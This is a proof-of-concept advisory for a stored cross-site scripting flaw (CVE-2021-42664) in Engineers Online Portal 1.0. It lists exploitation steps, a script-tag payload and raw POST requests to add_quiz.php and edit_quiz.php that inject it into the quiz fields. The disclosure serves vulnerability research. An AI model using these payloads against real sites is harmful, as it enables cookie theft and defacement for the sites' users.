Engineers Online Portal 1.0 – ‘multiple’ Stored Cross-Site Scripting (XSS)
# Exploit Title: Engineers Online Portal 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) # Exploit Author: Alon Leviev # Date: 22-10-2021 # Category: Web application # Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip # Version: 1.0 # Tested on: Kali Linux # CVE : cve-2021-42664 # Vulnerable page: add_quiz.php # Vulnerable Parameters: "quiz_title", "description" Technical description: A stored XSS vulnerability exists in the Engineers Online Portal. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. Steps to exploit: 1) Navigate to http://localhost/nia_munoz_monitoring_system/add_quiz.php 2) Insert your payload in the "quiz_title" parameter or the "description" parameter 3) Click save Proof of concept (Poc): The following payload will allow you to run the javascript - <script>alert("This is an XSS Give me your cookies")</script> --- POST /nia_munoz_monitoring_system/add_quiz.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 91 Origin: http://localhost Connection: close Referer: http://localhost/nia_munoz_monitoring_system/add_quiz.php Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9 Upgrade-Insecure-Requests: 1 quiz_title=%3Cscript%3Ealert%28%22This+is+an+XSS%22%29%3C%2Fscript%3E&description=xss&save= OR POST /nia_munoz_monitoring_system/edit_quiz.php?id=6 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 101 Origin: http://localhost Connection: close Referer: http://localhost/nia_munoz_monitoring_system/edit_quiz.php?id=6 Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9 Upgrade-Insecure-Requests: 1 quiz_id=6&quiz_title=xss&description=%3Cscript%3Ealert%28%22This+is+an+xss%22%29%3C%2Fscript%3E&save= --- |